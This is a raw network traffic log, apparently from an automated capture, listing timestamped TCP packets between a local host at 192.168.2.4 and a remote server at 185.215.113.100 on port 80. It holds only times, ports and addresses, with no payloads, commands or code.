Aug 30, 2024 18:18:08.731779099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731789112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731795073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731808901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731831074 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731895924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731919050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731928110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731937885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731946945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731957912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.731967926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.731996059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.809905052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.809919119 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.809931040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.809981108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.810022116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810025930 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.810082912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810092926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810106993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810117006 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.810149908 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.810242891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810252905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810261965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810297966 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.810317993 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.810395956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810405970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810415030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810425043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.810446978 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.810461044 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.811372995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.811408043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.811417103 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.811418056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.811449051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.811459064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.811553955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.811563015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.811573029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.811583042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.811600924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.811626911 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.811655998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813280106 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813323975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.813335896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813345909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813379049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.813451052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813460112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813468933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813478947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813487053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.813488007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813527107 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.813554049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.813641071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813735962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813745022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813781023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.813859940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813868999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813878059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813886881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.813901901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.813920021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.813967943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.814050913 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.814135075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.814197063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.814204931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.814230919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.814254045 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.814307928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.814316988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.814357996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.814409971 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.814419985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.814451933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.814476013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.816761971 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.816781998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.816790104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.816823959 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.816876888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.816885948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.816894054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.816903114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.816916943 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.816934109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.816972971 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817018032 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817054033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817068100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817076921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817085028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817089081 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817110062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817132950 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817208052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817218065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817226887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817234039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817250013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817276001 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817332983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817342043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817349911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817358971 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817373991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817401886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817475080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817486048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817493916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817502022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817512989 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817529917 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817641020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817650080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817658901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817667007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817683935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817712069 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817783117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817790985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817800045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817821980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817847013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.817965984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817975044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817982912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.817991018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818000078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818006992 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818007946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818017960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818027973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818043947 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818059921 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818197966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818207979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818222046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818229914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818238974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818243027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818250895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818254948 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818259954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818269014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818289042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818314075 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818526983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818536043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818542957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818552017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818559885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818568945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818577051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818577051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818595886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818613052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818772078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818780899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818789959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818805933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818809986 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818814993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818823099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818823099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818831921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818839073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818849087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.818856955 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.818900108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.819071054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819087029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819096088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819104910 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819113970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819122076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.819138050 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.819152117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.819226980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819263935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.819364071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819372892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819380999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819389105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819397926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819401026 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.819406033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819415092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.819433928 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.819449902 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.897536039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897551060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897558928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897564888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897579908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897593975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897603989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897614002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897630930 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.897685051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.897716999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897726059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897733927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897742987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897751093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897753954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.897763968 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.897778988 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.897802114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.898008108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.898016930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.898046970 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.899064064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.899112940 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.899113894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.899122953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.899146080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.899164915 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.899261951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.899271011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.899280071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.899287939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.899300098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.899310112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.899336100 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.900768042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.900815964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.900824070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.900855064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.900872946 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.900876999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.900886059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.900919914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901002884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901010990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901020050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901045084 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901057005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901103020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901182890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901196003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901222944 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901245117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901308060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901319027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901326895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901350975 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901375055 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901396990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901598930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901635885 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901664019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901673079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901705027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901725054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901734114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901761055 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901837111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901850939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901878119 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.901884079 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.901911974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904459953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904500008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904510021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904514074 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904535055 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904550076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904594898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904603958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904612064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904622078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904637098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904668093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904704094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904738903 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904798031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904807091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904815912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904824018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904831886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904833078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904844046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.904854059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.904885054 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905045033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905054092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905062914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905071020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905078888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905086994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905102015 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905117035 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905253887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905262947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905272007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905278921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905287981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905292034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905297995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905306101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905322075 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905339003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905411959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905422926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905431032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905450106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905463934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905585051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905594110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905601978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905610085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905618906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905627012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905627966 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905635118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905643940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905652046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905658007 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905678034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905692101 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.905977011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905986071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.905993938 CEST	80	49730	185.215.113.100	192.168.2.4
